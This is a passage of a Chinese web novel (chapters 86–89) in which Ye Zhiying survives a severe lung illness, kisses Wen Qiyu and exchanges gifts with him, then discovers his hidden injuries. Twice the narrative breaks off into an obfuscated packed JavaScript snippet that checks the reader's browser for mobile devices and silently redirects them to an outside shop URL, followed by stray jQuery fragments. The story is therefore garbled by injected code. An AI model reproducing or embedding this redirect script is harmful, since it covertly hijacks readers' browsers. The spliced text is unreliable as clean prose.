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整整一夜,叶之萤脑袋里面都有个孙悟空拿着金箍棒猛敲她的头,身体也在通天河和火焰山间反复横跳,一会儿冷得盖好几层被子都嫌不够,一会儿热得恨不得把衣服全部脱光,浑身上下就像被人用棍棒暴打了一通似的,从脖子一直疼到脚腕。她在床上艰难地翻来覆去,怎么也找不到一个稍微舒服点的姿势。 最痛苦的是咳嗽,所谓牵一发而动全身,只要咳一次,她的脑浆就好像被剧烈地摇匀了一次,身体就好像又被暴打了一次…… 期间,柳儿两次喂她喝药,都被她吐了出来。 她的意识越来越不清醒,昏昏沉沉地睡着。在梦里,她疼得哭了起来,因为虚弱,连一点声音都发不出,只有滚烫滚烫的泪水不断顺着脸颊流到耳朵。 梦里好像有人在她耳边说话,黑暗中,她寻不到他的脸,只听得那人声音十分嘶哑,却依旧是这世上最好听的声音。一直在剧痛中虚弱挣扎的身体在听到这声音后也渐渐安定下来。 “不怕,我在这里,很快就不疼了。”一张大而无力的手掌轻轻覆上她的手背,一股凉气从那张大手传递到她滚烫的身体,巨大的温差就像在炎炎夏日中触碰凛冽的山泉,冷得她打了个寒颤。 那只手迟疑了一下,似是要从她手背上拿开。她赶紧反握住它,不准它走。那人叹了口气,便任由她将自己的手握住。 “你乖乖张开嘴,把药喝下去,喝了药身子就不疼了。”语气温柔得足以将冬日里满树的蜡梅吹开。叶之萤的身体还没有喝药便已觉舒爽了不少。 86. 鬼门关 一些温热的水从叶之萤干涸的唇间流入口中,她用舌头接住它们,好苦!苦得她打了个颤。口腔中的苦涩还没化开,又有一些汤水被勺子送了进来,她咬紧牙齿,闭紧双唇,再不让它进来,那些汤水便顺着脸颊流了下去。很快,就有人为她擦了去。 “少爷,这……” “我们再喝一口吧?”那温柔的声音又响起了。 “苦……”迷迷糊糊间,她与那人对起了话。 “良药苦口,喝了药,病才能好啊!” 她费力地用气声回答他:“我身体好,生病……都不吃药……” ”好,那我们也不吃药了,”那人迁就着她的话说,“我们喝些神仙露吧。” “神仙露……是什么?苦吗?” “神仙露,就是神仙喝的,自然不苦。” “骗人,世上……哪有神仙?”她虽已神志不清,却也不是容易上当的小孩子。 那人也不着急,耐心为她解释:“蓬莱仙洲的不死草你可听说过?此神仙露乃其吸收天地精华凝成的露水,你张开嘴,尝一下便知。” “有什么用?”她被他讲得生出了好奇,不再抗拒,张开了嘴巴。 又有一些汤水进入她的口中,她谨慎地用舌头尝了尝,苦中带点甘甜,比之前的药好喝了不少。 “神仙露可消百病,喝了后,你立刻就会好起来。” 听他这么说,她突然闭紧了嘴巴。 “为何不喝了?”他似乎有点困惑。 “这神仙露……真能……消百病?” “是啊,再喝一些吧。”他边说,边用手指轻轻摩挲她的手背鼓励她。 “那我不喝了,你能把它给我吗?” “你要它做什么?”他轻笑着问她。 “我想把它……给……一个人……” 一直在她手背上摩挲那只手突然停了动作。 “怎么?难道……没有了吗?咳咳……咳……”半天听不到回应,她急得忙拽他的手。 “你想把它……给谁?”这声音小心翼翼的,仿佛是怕把答案吓跑了。 “温其玉,你认识他吗?这药……能让他……好起来吗?” 恢复健康的温其玉仿佛已经站在了叶之萤眼前,他比一米七二的她还要高出近一个头,宽肩窄腰,英姿勃发,双臂粗壮有力,双腿笔直修长,比卢浮宫中展出的战神阿瑞斯更要完美。 他原本就该是这样的啊! “给了他,你怎么办?”那温柔的声音已带着颤抖。 “疼几天而已,我能抗住!” 那人无奈地笑了起来:“傻姑娘!你若不好,他又如何能好?这神仙露足够你们二人喝的,再喝一些吧。” 她听话地张开嘴巴,配合他的话喝了不少。正想问他再要一瓶,一阵急促的敲门声响起。 “少爷,午饭已经准备……” 话说了一半便戛然而止,仿佛是有什么人打断了他的话。 少爷? 这声音怎么这么像阿力? 叶之萤猛地一睁眼,眼前射来一道明亮的光线,一大块白色的纱帐映入眼帘。 这是哪里? 神仙露呢? 她急忙转着脑袋环顾四周,却根本找不见那神仙的影子。 “叶小姐,你感觉怎么样?”柳儿的声音将她拉回现实。 她又猛地眨了几次眼,看到温其玉正坐在床前紧张地看着她,而他的右手正被她死死握在手中。 根本没有什么神仙,也没有什么神仙露能治他的病,不过是温其玉为了哄她喝药配合半梦半醒的她演戏罢了。 没有“神仙露”,治不好温其玉,她心里一阵烦躁,冲阿力吼起来:“你喊那么大声做什么?” “我……”阿力站在温其玉身后,瞪着一双无辜的眼睛,心想自己也没干什么,不知道怎么就刺激到了她的神经。 “日后敲门讲话小声些。”温其玉亦提醒他。 “是!”一听到自家少爷的话,阿力马上就怂了,“叶小姐,对不起。” “对不起有用吗?” “那……” “阿力日后会注意的,就原谅他这次吧!”温其玉见她不依不饶,便替阿力求起了情。 “你替他求什么情?咳咳……咱俩的事还没完呢!”温其玉终于成功把火引到了自己身上。 阿力见自己得救了,果断抛下以一己之身为自己挡箭的温其玉,悄悄跑路了。 温其玉也不再像前日那样与她斗嘴,今日的他格外温顺:“我明白,能否先攒着,待你病完全好了再慢慢说?” 见她不说话,他继续问道:“喝了‘神仙露’,有没有感觉好一些?” 他身后的门还开着,屋外烈日炎炎,连平日里喜欢在湖面上嬉戏玩水的野鸭都躲在石头下面的阴影里不出来,树上的蝉也热得没了歌唱的力气,他的手却如寒玉般冰凉彻骨。 叶之萤记得,昨晚从他房中出来时已过了子时,今早他是何时来到自己房间的?仅仅一夜,他能恢复精神吗? “先说说你怎么样了。”叶之萤反问他,目光落在了他脖子上的红斑处,热疹显然还没消。 “我没事。”温其玉一脸平静,若不是昨晚听阿力说了那么多,她真要信他的鬼话。 “别硬撑,回房休息去,今明两天都不准过来看我!”她将那只冰凉的手放回他的腿上,又为他整理好袖子,下了逐客令,见他似乎还要反抗,又赶在他开口前先一步阻止了他,“没得商量!” 温其玉看她态度坚决,自知没有再讨价还价的余地,便乖乖让柳儿叫了阿力来,推他回房了。 温其玉走后,叶之萤才敢蒙着被子敞开咳嗽。咳了好一会儿,她突然想起来,今天是初五啊!布庄的事差点就忘得一干二净了! 于是强撑着从床上爬起来,又被柳儿给按了回去:“叶小姐,你要做什么去?” “我……我那个……今天该去布庄的,我也没提前给老板请假……”沈老板肯定已经准备好了新布,就等她去试穿呢,她这不打招呼就没了影儿,岂不是耽误了沈老板的生意? “布庄那边昨日阿力就派人去打过招呼了,叶小姐安心养病吧!” 叶之萤心中的石头这才落了地。 温其玉果然很听话,那天真的没有再来她房间。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991709|193740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只是他人虽然没来,却依然在这间房里刷足了存在感! 他派人先后送来了五顿精致的饭菜,全是特意为她而做,口味清淡,营养全面,也没有任何发物;还有冰糖雪梨汤、山药小米粥、川贝梨膏、无花果百合粥四款润肺汤水;林大夫暂时在温宅住下,以备随时为她诊治;而阿力作为他的耳目,更是不到半个小时就过来看一次她的情况。 可叶之萤此次生病却不同以往,不仅一直浑身无力,高热不退,还胸闷气短,一日里有大半时间昏睡不醒。温其玉送来的那些吃的喝的,大多都又原封不动地端走了。 叶之萤心里明白自己是得了肺炎,在这个没有抗生素的年代,怕是要玩儿完了…… 温其玉最终还是没有听话,当她再次迷迷糊糊睁开眼睛时,他不知什么时候已经坐在了她床前。 “你……怎么……不听话……”她的气管好像被什么东西堵住了大半,连氧气都很难吸入,就说这么几个字,都得喘两三口气。 “我想你了,便来看看你!”说话间,他笑了起来,眸子里布满了闪耀的繁星。 她也跟着他笑了起来:“我……是不是……快……死了?” “不,你会好的!”他依旧温柔地笑着,连眼角都浮着笑意,但在那充满笑意的眼角下,却是含着泪的通红眼眶。 “别……骗我了,我知道……我又……快……死了。” “没有骗你,我不会让你死的!”他依旧扬着嘴角,双唇却止不住地颤抖。 他一向言而有信,可这一次,叶之萤没法再信他了。 “你要好……好好……活着,好好康复,不准……绝食,不准寻……死,答应我!我们会……再见的,你不必……不必急着来见我。”她艰难地将手挪到他的腿上,再一点点挪上他的手背,“就当……是做了一场梦,就当从来……没遇见我,对不起,早知道……我……这么快就要走,就不该主动招……招惹你,原谅我……” 说了这么一段话,她已精疲力尽,躺在床上大口大口喘着气,胸口发出刺耳的喘鸣,眼泪却如秋雨般落个不停。为什么自己的生命总是在最快乐的时候戛然而止…… “我们一起活着!”他的手一下子握住了她的手腕,力量很大很大,前所未有得大,仿佛那只手中拽着的不是她的手,而是她的命。 “温其玉,你……能……抱一下我吗?”她一边说着,一边拼尽全力想要撑起自己的身体,但她实在太虚弱了,一点也动不了。 在一旁独自抹泪的柳儿赶紧跑到床边,慢慢将她扶起,靠在温其玉身上。 他的手攀上了她的后腰,顺势将她紧紧搂在怀中。她艰难地呼吸着,想要将那清新却又微微苦涩的味道刻入脑中,让它与自己的血液相融,这样,他便能永远留在她的记忆中。下一辈子,她还要凭着这气味在茫茫人海中找到他呢! 一滴水从叶之萤头顶滴了下来,正好落在她的脸颊,又顺着脸颊流到了她的嘴边,她轻抿嘴唇尝了一下,是咸的。 “别……哭……”她将头紧紧埋进他的身体。 如果死亡无可避免,那么死在最爱的人怀里,也不失为一件浪漫的事吧! 87. 秋夕 叶之萤又一次陷入了昏迷。 再醒来时,床边多了一位鹤发老翁。恍惚间,她还以为自己是死后见到了神仙。 之后,她喝了这位老翁开的一剂药,当晚就不间断地从肺里咳出许多脓液,又发了好几身汗,柳儿帮她换了衣服,她又迷迷糊糊睡了过去。 第二日一早,她醒来后发觉身上的酸痛减轻了大半,头不疼了,似乎也不再发烧了。 此时,因照顾她而一夜未眠的柳儿正趴在桌子上小憩,叶之萤肚子有些饿,又不忍打扰柳儿,便披着外衣想自己去厨房看看有什么吃的,谁知刚站起身,柳儿就被惊醒了。 “叶小姐,你醒了!”柳儿激动地从凳子上跳起来,先将她从头到脚打量了一番,又过来摸她的额头,而后兴奋大叫,“真的好啦!我去告诉少爷!” 不等叶之萤接话,就蹦蹦跳跳跑出了门。 “少爷,叶小姐醒了!叶小姐醒了!”整个内院都飘荡着柳儿激动的声音。 正坐在轮椅上发愁的温其玉听到柳儿的声音,急忙催阿力推自己去隔壁:“阿力,快点!” 一进门,就看见叶之萤站在地上,又嗔怪道:“怎么下床来了?快回床上躺着!” 脸上却难掩喜色。 “都躺两三天了,起来活动活动筋骨。”叶之萤笑着走到他身边。 “今日感觉如何?可还有哪里不舒服?”他皱着眉问她。 “好多了,身上没那么疼了,胸口没那么憋闷了,也不发烧了。” 温其玉还是不放心,又示意柳儿摸摸她的额头。 “少爷,确实不烧了!” 他这才如释重负,皱了几日的眉心终于再度舒展。 “有吃的吗?我饿了。”叶之萤摸着早已饥肠辘辘的肚皮问他。 “当然有!”一听她有了胃口,他急忙安排柳儿和阿力去厨房准备。 不知从什么时候起,当房里只有他们两人时,叶之萤总是有些不知所措,今日亦如是。 “你这几天辛苦……” “你还是先坐……” 二人同时开口,听到对方说话后又同时停下。 屋里突然安静下来,都等着对方再开口。 “你……你先说。”叶之萤站在桌旁,手指无意识地在桌面上抠来抠去。 “不辛苦,你没事就好。”温其玉坐在轮椅中,手指同样无意识地搓着衣角。 二人都有些拘谨。 明明那日叶之萤病重时他们还抱在一起,眼下她好了,反倒又不自在了。 突然,有人敲门。 “叶小姐,我是浣衣房的阿容,前两日少爷吩咐我清洗的软垫已经洗好了,少爷交代洗好后就给您送过来。” 软垫?不就是自己缝的那个?她的目光再一次对上了温其玉的双眼。他果然说到做到,即使喝醉的时候当宝贝一样不准她拿走,酒醒后还是要还给她。 温其玉垂下眼,表情有些惆怅。 真是个死鸭子嘴硬的主! “叶小姐?”外面的人见她不做声,又叫了一声。 “哦,来了!”叶之萤开门将那垫子取了进来,坐在了温其玉身旁的椅子上。 “洗得挺干净的,不过已经有些旧了,本来样子就丑,现在更丑了!”她摸着那垫子上长短不一、歪歪斜斜的针脚,嫌弃地摇起了头,“与你的身份、外貌都太不相称了,我应该早点要回来的,难为你用了那么久。” “不难为。”温其玉接着她的话开了口。 “真的?”她笑着反问他。 “真的。”他声音不大,却掷地有声。 叶之萤将那软垫放在了桌上,翻来覆去地看了一阵,道:“其实这垫子放我这儿也没什么用,你要是不嫌弃它丑,就……” 话还没说完,那双原本垂下的眸子倏忽间就抬了起来,眼底透出不可思议的惊喜,还有些小心翼翼的谨慎。 她话音一转,叹了口气:“还是算了吧!” 一旁的人再度泄了气。 她抓起软垫,起身将身后的紫檀木箱打开,从里面取出了一把剪刀。 “你要做什么?住手!”温其玉吓得失了态。 叶之萤被他的吼声吓了一跳,一脸无辜地看着他:“我只是想把垫子收进箱子里而已。” 他依旧紧张地盯着她握着剪刀的右手。 “我只是怕它划破了垫子,准备把它放到别处去。”说着,便在他的注视下将那剪刀放到旁边的柜子里。 刚刚的误会似乎令温其玉尴尬不已,他虽垂着头,叶之萤也能隐约看出他闪烁的眼神。 “你怕我把它给剪了?”她走到他身边,故意问他。 “我只是怕你不小心割了手,才提醒你。”他习惯性嘴硬。 “是吗?”叶之萤身体前倾,不断地向轮椅中的人靠近。那慌张的眼神在她面前越来越模糊,细腻的皮肤纹理却越来越清晰,直到她的鼻尖快要与他的鼻尖相碰时,才终于停下了身体。 一股木质的清新夹杂着浓郁的苦涩扑面而来,她畅快地吸了一口,陶醉在这干净疏离的香气中。 “口是心非!”她笑盈盈地在他耳边低语。 他原本就不太均匀的呼吸变得更加凌乱,一对纤长而浓密的睫毛抖得厉害。不仅如此,叶之萤甚至能听到来自他胸膛那杂乱而急促的心跳声,正“扑通……扑通扑通……”地诉说着主人的紧张不安。 目光从他恐慌的双眸嚣张地一路向下,滑过他高挺的鼻梁,落在那性感微翘的双唇上。唇色很淡,少了几分血色,却为这张凌厉阳刚的脸庞添了几分脆弱和柔和。 她大胆地向其贴近、再贴近…… “砰”,门开了。 叶之萤的双唇在距离温其玉的双唇仅一厘米的地方定住了。几秒后,她失望地向门外瞥去,是阿力和柳儿送饭来了。 阿力和柳儿也被二人亲昵的姿势吓得愣在那里,不敢再动。 “什、什……什么都没看见!”阿力反应过来后,忙拉着柳儿背过身去。 “是,是,是!我们没看见!”柳儿也紧张地跟着附和。 叶之萤无奈地直起身子,悻悻叮嘱温其玉:“你的嘴唇都没有血色了,快回房休息吧,不用再操心我的身体,我已经没有大碍了。” 温其玉可没有叶之萤那么游刃有余,他显然已经被撩得神情恍惚了,坐在那里冷静了好一会儿,才吞吞吐吐地吩咐阿力推他回房去。 晚饭后,天色渐暗。 听阿力说温其玉回房后睡了近两个时辰,眼下刚醒不久,身体状态尚好,叶之萤便去他房中找他。 “你怎么过来了?”见她来自己房中,温其玉既惊喜又担忧。 虽然睡了一下午,但这会儿他依旧躺在床上,脸上的倦容也未完全褪去,荣祥正在为他按摩身体。 叶之萤跟荣祥使了个眼色,示意他出去,这块榆木疙瘩却根本不明白她的意思。 “那个,柳儿找你,你过去看一下吧。”她只好撒谎支开他。 “何事找我?”这人果然是七窍通了六窍,一窍不通。 “她没告诉我,你去了就知道了,赶快!”叶之萤已经不耐烦了。之前觉得阿力不靠谱,现在看来,这位才是货真价实的实心砖。 她跟在他身后半推半搡地送他出了门,然后迅速关上门,并插上了门闩。 “哎?叶小姐,你关门做什么?快开门啊!”荣祥听见她锁门,又在外面猛敲门。 “荣祥,我找你有些事,来来来!”是阿力的声音,来得正是时候,谢天谢地! “何事?” “先去我房里再说!” “可是叶小姐她把门……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991710|193740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “走吧走吧,别管叶小姐了,先去我房里再说……” 脚步声终于走远了。 叶之萤走到床边,笑着问床上的人:“这样的榆木疙瘩,平时和他沟通不会被气到吗?” 温其玉笑了起来,却没有回答她的问题,反而柔声问她:“找我有事吗?” 他的声音还有些哑,与屋内忽明忽暗的莹莹烛火交织在一起,却格外性感。 她自然地在床边坐下,俯下身来对他莞尔一笑:“来做一件中午没做完的事。” 他正想开口,花瓣般性感的双唇便被叶之萤温柔控制。 他的嘴唇凉凉的,很柔软,也很饱满。 一时间,原本均匀的呼吸骤停,清透的墨色瞳孔在叶之萤眼前忽地放大,那对浓密的睫毛也无措地呼扇了几下。 但很快,床上的人呼吸恢复,瞳中惊恐散去,颤抖的“小扇子”也安静下来,如水般的柔情开始在他眼底流淌。 见他没有躲闪,叶之萤更大胆了,和他脸贴着脸,像只撒娇的小猫似的用面颊在他的唇边蹭来蹭去,吮吸着专属于他的味道。只是今日,苦涩的味道明显比以往更甚。 他的皮肤由于常年不见日光而重新变得细白滑嫩,胡茬却硬硬的,有些扎脸,但她却乐此不疲。 “温其玉,你爱我吗?”她问。 “叶之萤,我爱你!”他的呼吸重而急促。 她又把头挪到他胸前深埋起来,一行一行的泪水滴滴答答落在他衣服上。 “我爱你,可我不能接受你。”他有些沙哑的声音在她头顶响起,明明不大,却犹如一声巨雷震得她头晕目眩。 “你说什么?”刚刚的吻已经说明了一切,他为何又要躲避? 叶之萤甚至来不及擦掉满脸的泪痕,就慌忙起身问他。 “抱歉,事到如今,我的心意已无法隐瞒。” “什么意思?是因为我逼得太紧,你瞒不住了,这才……”叶之萤又激动起来。 “你别急,先听我把话讲完。” “你说。”她再也不想因为自己的冲动而误会他了,于是按捺住心中的冲动,耐着性子听他讲。 “这段日子,我劝过自己无数次,既然你并不介意我的身体,我又何苦非要执着?或许我也该尝试着放下执念,试着去接受你,接受这段感情。” 叶之萤连连点头表示赞同,温其玉却话音一转:“但我真的做不到,每当我说服自己接纳你时,我脑海中便会浮现出你日以继夜在这间屋子里照顾我的画面,浮现出你和我外出时被人指指点点的画面,浮现出你摔在地上等我救你、而我明明近在咫尺却救不了你的画面,每每想到这些,我便充满了负罪感。也许这些你都不在乎,可我在乎!抱歉,我无法说服自己以如此残破的身躯接纳你。” 说这些话时,温其玉的目光始终注视着她,平静,却坚定。叶之萤看着他的眼睛,那些早已在心中想好、等着反驳他的话突然就卡在喉咙里,再也说不出来了。 她只好把那些话咽了回去:“既然你都这么说了,再逼你倒似乎是我的不是了。不如我们做个约定吧?” “是何约定?”许是见她没有纠缠,他也没有直接回绝她的提议。 “等你翻身、起床、穿衣、吃饭都不再需要别人帮忙的时候,倘若那时我们还相爱,你不能再拒绝我!” 他没有急着回答她,反而若有所思,不知道还在顾虑什么。 没有一口拒绝,至少说明他在动摇,叶之萤趁热打铁追问他:“好不好嘛?我都已经让步了!” 她推着他的胳膊,缠着他快点回答,生怕他再多想一会儿就会恢复理智拒绝自己。 温其玉的目光落在了床尾靠墙放着的那张轮椅上,神情有些惆怅:“我的后半生,注定只能缓慢前行,若是总要你停下脚步等我,你会等不及吗?” 88. 独一无二的礼物 叶之萤攥紧他的手道:“我的前半生走得太快了,以至于还没来得及回味就戛然而止,以后,我就是要跟你慢慢地走、慢慢地看,和你一起体验这世间的美好。温其玉,你愿意让我成为这世上最幸福的人吗?” 温其玉目不转睛地盯着她的脸,似是想从她的表情中推测出刚才的话有几分认真,看了很久,就在叶之萤以为他又要拒绝的时候,他点头了。 “我答应你!”他的表情极为郑重。 叶之萤的脸瞬间笑成了一朵花:“温其玉,你做了一个无比正确的决定!从今天起,我得好好监督你复健!” 突然,叶之萤发现纸窗上不知道什么时候有了一团很小的黑色影子,定睛一看,原来是一只幼蝉刚刚从它那土黄色的外壳中钻出来,全身黝黑发亮,很是神气,正努力扑闪着还没有支棱起来的蝉翼。 不一会儿,它背上那两片薄纱般的蝉翼就慢慢支棱了起来,幼蝉扇起翅膀快速振动了几下,刚刚飞起来,就掉了下去。它重新在窗子上站定,又扇了几下翅膀,飞了一小段距离,又掉了下去。它一点也不着急,继续扇动翅膀,飞起来,掉下去,再飞起来,再掉下去……不知道循环了多少次。 当它又一次扇动翅膀飞起来后,叶之萤本以为它还得掉下去,但结局既让她意外又顺理成章,它如愿飞到了空中,与那如墨的夜色作伴去了。 “在看什么?”温其玉并没有看到这一幕,只是见叶之萤看着窗户入了神,便好奇问她。 “在看……生命的力量。”她笑道。 他眉头微皱,叶之萤的回答似乎让他更困惑了。 “温其玉,别怪我没提醒你,你锻炼的速度要快点儿了,我可不知道自己还能喜欢你多久。”她威胁起他来。 “有人曾告诉我,人与人之间的激情只有三个月。”他一副泰然自若的样子,像是一点也不急。 “你记得倒清。”温其玉这张嘴还是一如既往的会噎人,叶之萤自然也不遑多让,“所以你是想说,我们既然期限已到,干脆别约定了呗?” “我是想说,我们之间的感情,并不是一时的激情。” 这是情话吗?叶之萤目瞪口呆地愣了好几秒才反应过来,这竟然是从温其玉口中说出的话。 他居然会说情话!还是主动说的! 叶之萤激动地捂着嘴巴笑了起来,而后突然起身,对他说:“你等我一下。”就匆忙跑出门去了。 “你去哪里?”床上的人还以为是自己那番话吓到了她,她才尴尬得落荒而逃。 正要叫阿力来推自己去追她,就听见她说:“马上就回来。” 他这才安心了些。 重新回来时,看到她手里拿着那张软垫,他焦急的双眸瞬间一亮。 “今天是七夕,这个,就当成你的礼物,重新送给你。”她走到他身边坐下,将垫子放在了他身旁。 “谢谢!”桃花般的笑容浮现在他的脸上,如同朦胧的月光给原本漆黑凛冽的夜空带来了一抹柔情。 “既然不舍得,干嘛非要还给我?” “是你要的。” “我要你就给啊?那我让你接受我的时候,也没见你这么听话啊?”叶之萤小声嘟囔。 …… “是为了和我赌气吧?” 床上的人紧抿双唇,似乎是想起了一些不愉快的事。 “你那天是不是吃若飞的醋了?”叶之萤故意逗起他来。 “是!”他竟然没嘴硬一下就承认了。 “我和若飞的事……其实我们俩……”既然事已至此,叶之萤打算借此机会说个清楚。 温其玉却打断了她:“只是做戏给我看罢了。” 果然,他什么都知道。 温其玉是何等聪明之人?一双能看透敌国奸计的眼睛,又怎会看不透她和关若飞那么明显的把戏? “知道是做戏,但你还是吃醋了!”叶之萤很是得意,这一局较量依然是她胜。 “这不正是你想看到的吗?”温其玉轻笑了一声,似乎也在嘲笑自己主动落入陷阱的愚蠢。 叶之萤握住他的手,在他如柴的手背上轻拍了几下:“我只是想让你明白,我和你之间并不是两国交战,需要通过提前庙算得失、权衡利弊才来决定要不要开始;也不是外力施加在□□上的痛楚,可以用强大的意志力与之抗衡。爱情是吞城拔寨的洪水,是神明的诅咒,是自然的力量,是宇宙的魔法,我们抵挡不了的。” 温其玉笑着一挑眉,如今的他对这些话早已深有感触。 而后,他微微泛白的双唇动了又动,似乎有话想说,挣扎片刻,终于决定开口:“叶姑娘,衣柜里左手边有一只水蓝色的包袱,能否麻烦你帮我拿过来?” 原来是让她帮忙拿东西,这点小事有什么好犹豫的?叶之萤照他说的,去衣柜里取来了那只包袱,放在他身旁。 “请你打开它。” 她继续照做。 水蓝色的包袱里包着的是一套衣服。 一件淡蓝色的花鸟纹织金浮光锦,配一条同色系正蓝色葫芦暗纹软缎裙。 正是端午节那日她在“福裕绸庄”挑中、却因为价格太贵最终放弃的那套衣服。 但仔细看来,这套衣服却又与那套有些不同。 那日她所试的上衣布料虽已是上品,但却远不及这件。这件的布料手感润泽丝滑,闪着密实的流光,一看便知是极品中的极品。 不仅如此,那件是没有花纹的素软缎,这件却用金银线通身绣上了花鸟纹,那些大小不一的花好像是盛开的玫瑰,而那小鸟则小巧可爱,星星点点飞舞在玫瑰丛中,腹部还隐约泛着金色的微光,比起鸟来,反而更像是……流萤! 这不是用成品布料做的一套普通衣服,若叶之萤没猜错,这是温其玉专门为她定制的、独一无二的衣服。 “是……送给我的?”她惊喜得不敢相信。 “嗯。”温其玉倒有些不好意思了。 她把衣裳提起来,对着光线细细端详。布料的暗纹并没有采用大量的色彩填充,只是简简单单用银线勾了边,寥寥数笔就勾勒出玫瑰的妩媚和萤火虫的生动。整件衣服美得好像一幅画。 “太美了!这衣服太美了!”她爱不释手,摸着衣服上的刺绣连连称赞,而后又好奇地问他,“你是什么时候准备的?” 看这衣服的工艺,就算日夜赶工,没有半个月也是做不出来的。 可他明明刚才才松口啊? “咳……就……就是……上个月……”他已经紧张得开始结巴了。 “上个月?” 原来他嘴上拒绝着她,行动上却没闲着。好一个口是心非!叶之萤心里已经快甜开了花儿了! 可是上个月,那不就是她骗他说关若飞送她衣服的时候?? “我……我定这套衣裳之时……还没想好……要不要送你……” “什么意思?难道你本来要送给别的女人?”她故意歪曲了他的意思。 “不是!”他急忙摇头否认,“当然不是!我……我只是……只是不知道该以什么立场送你,也不知你是否愿意收下。况且,若飞已经送了你一套衣裳,我想,或许……” 想爱,却不敢爱,只能把那份爱小心翼翼地藏在她看不见的地方。这样的日子,若是叶之萤自己,早就难受得抓心挠肝了,温其玉是怎么忍过来的? “没见过比你更别扭的人了,你怎么这么能忍啊?”她心疼道,“实话告诉你吧,那套衣服不是关若飞送的,是我自己买的,花了二十两呢!” 一提到二十两,她又心疼起自己的银子来。 温其玉愣住了,而后哑声失笑:“我早该想到的,你和若飞既是演戏骗我,你又怎会收他送的衣裳。” “看来我要重新认识‘美人计’了,原以为聪慧敏锐、心 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只是很快,他眉头又重新皱到了一起,似乎是又有了什么新的问题。 叶之萤那颗刚放下的心立刻又悬了起来。 “怎么了?”她小心开口。 “那日我醉酒,你……” “你没记错,那天我确实来过。”她坦白道。 “果然!”答案已是他意料之中,“我那日……都说了什么?” “你说我跟关若飞很配,让我跟他走。”她撅着嘴如实回答。 “是吗?”他尴尬地紧了紧眉头。 “是啊,不止这个呢!你还抓着我的垫子求我别拿走,还趴我怀里哭,说你配不上我。”她一边说,一边戏谑地看他的表情逐渐社死。 “好啦!别不好意思了,你那天晚上特别可爱,一点都不丢人,真的!”看他恨不得在床上刨个洞把头埋进去,叶之萤赶紧安慰他,“我换上衣服给你看看吧?” “不要,你身子还没好,当心着凉。” “没事,这么热的天,不会着凉的。” “等身子好了再试!” 反对无效!叶之萤已经开始解衣带了。 他只好自觉地转过头去,闭上了眼睛。 衣服的尺寸长短都分毫不差,像是量身定做的一样。 她叫温其玉睁开眼睛。温其玉的目光先是落在她身上,从上到下打量了一番,而后又回到她的脸上,一抹温柔从那眼底化开。 “很美!”他说。 “是啊,这套衣服真的很美!”她点头附和道。 “你很美!”这次,他带上了主语。 “这还用说?”对于他的夸奖,叶之萤毫不谦虚。 “这算是定情之物吗?”她坐回床边,伸手去摸他的脸颊。 “这是谢礼,感谢你为我找到解药。叶姑娘,我要提醒你一下,既然我们已经做了约定,还望你遵守约定,未到约定之日,切莫再动歪心思。”他垂眼看着叶之萤那只正游走在他脸上的手,话语间又开始和她划清界限。 “知道了知道了!”正在浓情蜜意时,被他一句话扫了兴,叶之萤气得使劲抽回手,手却不小心打到了他的肋骨。 他眉头突然一缩,似是很痛苦的样子。 “你怎么了?”她赶紧收回手,心想自己这一下力气并不大啊! “只是突然抽疼了一下,无碍。”仅一句话的时间,他已经完全恢复了神情。 叶之萤突然想到阿力前几日说的话,趁他不备,一把扯开了他的衣服。 “你做什么?”他被她吓了一跳,慌忙间抬起右手一把抓住她的胳膊,却根本没能制止她,反倒被她的胳膊带着使劲一甩,又重重砸回了床上。 眼前的画面让叶之萤整个人都愣住了。 89. 触目惊心的伤痕 从前胸到后背,从腋下到腰肌,几十道刺眼的勒痕爬满了温其玉的身体。每道勒痕都有拇指那么粗,上面还叠加着大片大片渗着血的擦伤。深紫色和黄绿色的淤青、暗红色的血迹,以及原本就有的因为湿热而起的红疹,全都杂乱地堆积在苍白的皮肤上,那样的伤痕累累,真是让人心惊肉跳。 温其玉就是用这样一副残破的身体,将她密不透风地保护起来。叶之萤心里忽地一抽,痛感蔓延到全身,眼泪便断了线地滚了下来。 “过两日就好了,不碍事的,你别哭!”他故作轻松地安慰她。 “为什么会有这么多伤?这些擦伤是怎么回事?”阿力只说他身上有被绳子勒出的伤,可眼前的人全身上下伤痕累累,绝不仅仅是勒伤这么简单。 温其玉却不愿说实话,只轻描淡写道:“都是些轻伤,不打紧,不必担心。” 说完,就用手艰难扯着衣襟遮起了那些伤。 这样的伤居然被他说成是轻伤?但叶之萤知道,自己是撬不开他这张嘴的,便把阿力叫了进来。可阿力怕被责罚,也不敢说出真相。 叶之萤被逼得没辙了,一把抢回温其玉手边那张软垫,威胁他:“你要是不让他说,我就永久收回这张垫子。” 床上的人这才松了口,同意阿力道出了实情。 原来,为她看病的那位神医善治风邪,却脾气古怪,又因年事渐高隐居山林,只接受上门求医者,从不外出行医,且有四不治:达官显贵不治、骄恣自大不治,病入膏肓不治,其心不诚不治。 